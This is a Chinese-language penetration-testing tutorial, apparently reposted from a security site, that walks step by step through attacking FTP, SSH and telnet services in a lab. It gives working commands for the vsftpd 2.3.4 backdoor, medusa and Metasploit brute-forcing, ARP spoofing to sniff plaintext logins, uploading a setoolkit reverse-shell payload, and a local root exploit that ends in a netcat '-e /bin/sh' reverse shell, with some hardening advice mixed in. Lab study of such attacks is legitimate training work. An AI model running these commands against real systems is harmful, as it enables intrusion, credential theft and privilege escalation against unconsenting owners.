标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3385] 作者: 闲云野鸡 发表于: [2024-03-22]
本文共 [115] 位读者顶过
FTP漏洞利用
FTP协议介绍 文件传输协议(File Transfer Protocol),是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。属于应用层的协议,端口21[出自:jiwo.org] 用户分类 Real用户 Administrator 匿名用户(anonymous) FTP文件传输格式 ASCII 二进制格式 利用FTP匿名登录漏洞 由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。使用nc连接FTP 查看目标21端口是否开启 nmap -p 21 IP地址 扫描漏洞 nmap --script vuln -p 21IP地址 nc IP地址 21 自己手工写入用户名和密码 USER anonymous PASS 123 quit --退出连接 利用FTP后门漏洞 vsftpd(2.3.4)手工触发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell nc IP地址 21 USER user:) PASS pass 查看6200端口是否触发 nmap -p 6200 IP地址 验证 nc IP地址 6200 FTP安全配置 修改配置文件,禁止匿名用户登录(linux中的配置文件是vsftpd.conf) 对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口 iptables -A INPUT -p tcp -dport 6200 -j DROP iptables -A OUTPUT -p tcp -sport 6200 -j DROP FTP漏洞利用-ftp不可避免的问题 FTP用户名密码暴力破解 Windows下CMD命令行添加用户,以及提升Administrator管理员权限 net user 用户名 密码 /add net localgroup administrators 用户名 /add Windows下FTP服务器添加用户操作(这里假设添加的是admin/admin) win2003 --IIS–FTP站点–右键属性–安全账户–添加账户 使用medusa暴力破解FTP登录(kai) 首先使用nc测试一下FTP连接 nc IP地址 21 USER admin PASS admin quit 假设不知道密码,medusa暴力破解 新建一个字典(测试使用,要真实可去寻找一些比较实用的字典) pass.txt (在其中加入密码admin和其他一些随意的密码) medusa -h IP地址 -u admin -P /root/Desktop/pass.txt -M ftp(-p表示单个密码,-P表示密码字典文件) FTP用户名明文密码验证 FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息的。验证FTP登录过程中明文传输用户名和密码 nc连接FTP Wireshark抓包 FTP用户名明文密码嗅探 利用arpspoof进行ARP嗅探 如果没有arpspoof,进行安装 apt install dsniff ssldump arpspoof -i eth0 192.168.1.1 -t 192.168.1.103(冒充网关进行ARP欺骗) 利用wireshar进行抓包(抓取数据) [外链图片转存中…(img-Kd3A5FfO-1654369598659)]实体机FTP连接192.168.1.103,输入用户名和密码连接 抓包内容 FTP登录之后做的事情 利用metasploit创建反弹shell上传到FTP服务器。可以利用setoolkit快速生成反弹shell kali输入命令进入 setoolkit(8.0.3) 1 --(选择第一个) 4 --(选择第四个) 2 --(选择第二个) 192.168.1.102 --(kali的IP地址) 4445 --(选择端口,任意,不冲突就行) 回车,等待生成payload 输入yes 打开另外一个终端 cd /root/.set/ ls mv payload.exe /home/kali/Desktop --(移动到桌面) 复制到实体机 实体机FTP远程连接win2003,上传payload文件 ftp 192.168.1.103 输入用户名和密码 put 文件路径 上传成功后,会存在服务器的ftproot目录下 当服务器双击打开 kali 会反弹一个shell sessions -i 进程号 调出shell 漏洞利用-SSH环境搭建 ubuntu搭建ssh服务端 ubuntu下安装服务端 sudo apt-get install openssh-server SSH服务端服务启动与关闭 启动 service ssh start 状态获取 service ssh status 关闭 service ssh stop ubuntu搭建ssh客户端 ubuntu下安装putty工具 sudo apt-get install putty ubuntu下安装putty 在软件中心搜索putty进行安装 选择putty ssh client 安装 客户端连接服务端 打开putty输入服务端信息,连接 输入IP地址(这里是连接本地的SSH) 其他默认 open 漏洞利用-SSH Banner信息获取 nmap获取SSH Banner信息 nmap -sV -p 22 IP地址 Metasploit获取SSH Banner信息 msfconsole use auxiliary/scanner/ssh/ssh_version 查看需要设置的参数 show options 设置远程主机 set rhosts 192.168.1.105 设置端口 set rport 22 设置线程(可选) set threads 20 实施攻击 exploit/run nc获取SSH Banner信息 nc IP地址 22 配置SSH规避Banner信息 在ssh配置文件/etc/ssh/sshd_config中新增一行 Ctrl+F输入banner寻找 新增:DebianBanner no 重启服务 service ssh restart 然后再次扫描发现没有操作系统信息 漏洞利用-SSH弱口令破解利用 Medusa SSH弱口令破解 medusa -h IP地址 -U 用户名字典文件 -P 密码字典文件 -M 指定服务 medusa -h 192.168.1.105 -U /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.txt -M ssh 字典文件可自己编写,也可去网上搜索 SSH命令行工具登录 一般情况Linux都具有ssh客户端,用来登录ssh服务端 可以使用ssh 用户名@IP地址,然后根据提示输入密码 Metasploit利用SSH登录反弹shell 使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接 msfconsole search ssh_login use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.105 这里不再进行破解(这里的用户名和密码是我已经知道的) set username user set password 123456 exploit/run 成功后调用会话 sessions -i 会话号 bash 进入用户视图 Metasploit获取Meterpreter Shell 利用获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell sessions -u 会话号 注入成功后,sessions -l查看会话(这里假设注入后建立的会话号是3) sessions -i 3 --(调用) 漏洞利用-SSH安全防御 SSH修改默认端口 gedit /etc/ssh/sshd_config Crtl+F搜索port 将port 22 更改为port 其他端口号 修改之后必须重新启动服务 SSH设置PGP登录 默认情况下,SSH使用用户名和密码进行远程登录,但也可以使用密钥进行身份验证登录(公钥与私钥) 生成SSH密钥对,使用puttygen 下载链接 使用ssh-keygen命令在Linux生成.ssh目录 在.ssh下新建密钥存储文件authorized_keys,并复制私钥文件到.ssh目录下。使用命令puttygen -L “拷贝私钥文件”,将内容拷贝到authorized_keys文件中 使用putty客户端加载私钥文件进行连接 putty ssh client SSH–>Auth–>Private key file for authentication加载私钥文件 Connection–>data–>输入对应的用户名 此时Sessons连接将不需要密码 SSH防御暴力破解用户账号 在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解 修改/etc/ssh/sshd_config 将 "#PasswordAuthentication yes"改为 “PasswordAuthentication no” 重新启动服务 Iptables设置阈值防止暴力破解 利用iptables对多次连接验证错误,进行账户锁定120秒 iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP 设置完成,重启ssh服务 漏洞利用-telnet暴力破解 telnet介绍 TCP/IP协议簇中的一员,是Internet远程登录服务的标准协议和主要方式 虽然telnet较为简单,使用也很方便,但在现代网络技术中,telnet并不被重用。原因是telnet是一个明文传输的协议,因此很多服务器都会选择禁用telnet服务 默认使用23端口 telnet版本获取 使用nmap获取telnet版本信息 nmap -p 23 -sV 192.168.1.105 使用Metasploit获取telnet版本信息 msfconsole search telnet use auxiliary/scanner/telnet/telnet_version set rhosts 192.168.1.105 set threads 30 set rport 23 exploit/run telnet密码破解 使用Metasploit下针对telnet破解的模块进行用户名和密码的破解 在msfconsole使用search telnet进行查询telnet可以利用的模块 use auxiliary/scanner/telnet/telnet_login set rhost 192.168.1.105 set username 用户名(这是已知情况,未知情况设置字典进行破解set user_file 字典路径) set password 密码 (未知设置字典 set pass_file 字典路径) telnet登录测试 使用破解好的会话连接telnet,并执行对应命令 使用sessions -l 列举建立的会话 使用sessions -i id 使用对应的会话 bash ——进入用户视图 漏洞利用-Telnet登录提权(metasploit2靶机) msf登录telnet 在metasploit中使用 telnet_login进行登录,并使用sessions -i id 连接shell use auxiliary/scanner/telnet/telnet_login set rhosts IP地址 该模块的用户名和密码只能通过指定文件进行设置 set user_file /home/kali/Desktop/user.txt set pass_file /home/kali/Desktop/pass.txt run/exploit sessions -l --查看连接的会话 sessions -i id --调用会话 如果出现连接已经建立却无法执行命令 此时,可以通过命令尝试拿到meterpreter shell sessions -u 对应会话ID msf连接shell下载exp(连接上shell进行操作) 使用wget进行下载 wget http://www.exploit-db.com/download/8572 如果无法下载,本地另开一个终端,搭建服务 cd /var/www/html wget http://www.exploit-db.com/download/8572 重命名 mv 8527 test.c 启动apache服务 service apache2 start 执行下载 wget “http://192.168.1.105/test.c 设置kali nc监听 使用netcat 进行监听,后期返回的shell nc -lvp 4444 编译执行exp,获取root gcc 源文件 -o exploit --(这里的源文件是test.c) echo ‘#!/bin/sh’>/tmp/run echo ‘/bin/netcat -e /bin/sh IP地址 4444’>>/tmp/run --(这里的IP地址是kali的IP地址(192.168.1.105)) ps -edf | grep udev 执行exploit 具有root权限的pid-1 ./exploit 数字pid-1 漏洞利用-Smtp实验环境搭建 邮件发送与接受模型 邮件发送使用smtp协议,占用25端口。而邮件接收使用pop3或imap协议,分别占用110和143端口 添加主机名和域名 为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析 sudo gedit /etc/hosts 127.0.0.1 mail.test.lab test sudo gedit /etc/hostname test 修改完成重启reboot 使用hostname 或 hostname -f 查看修改是否成功 ubuntu安装postfix postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装 sudo apt-get install postfix(卸载命令apt-get --purge remove postfix) 修改配置文件 sudo gedit /etc/postfix/main.cf 追加子网信息 inet_protocols = ipv4 home_mailbox = Maildir/ 修改完成重新启动服务 sudo service postfix restart 使用netstat -nlv 查看25端口是否开启 ubuntu安装dovecot sudo apt-get install dovecot-imapd dovecot-pop3d 修改配置文件 sudo gedit /etc/dovecot/conf.d/10-auth.conf disable_plaintest_auth = yes auth_mechanisms = plain login sudo gedit /etc/dovecot/conf.d/10-mail.conf mail_location = maildir:/home/%u/Maildir sudo gedit /etc/dovecot/conf.d/10-master.conf 设置port = 143 port 110 修改权限 unix_listerner auth-usrdb{ mode = 0600 user = postfix group = postfix } 重新启动dovecot服务 sudo service dovecot restart 使用netstat -nlv 查看143和110端口是否开启 |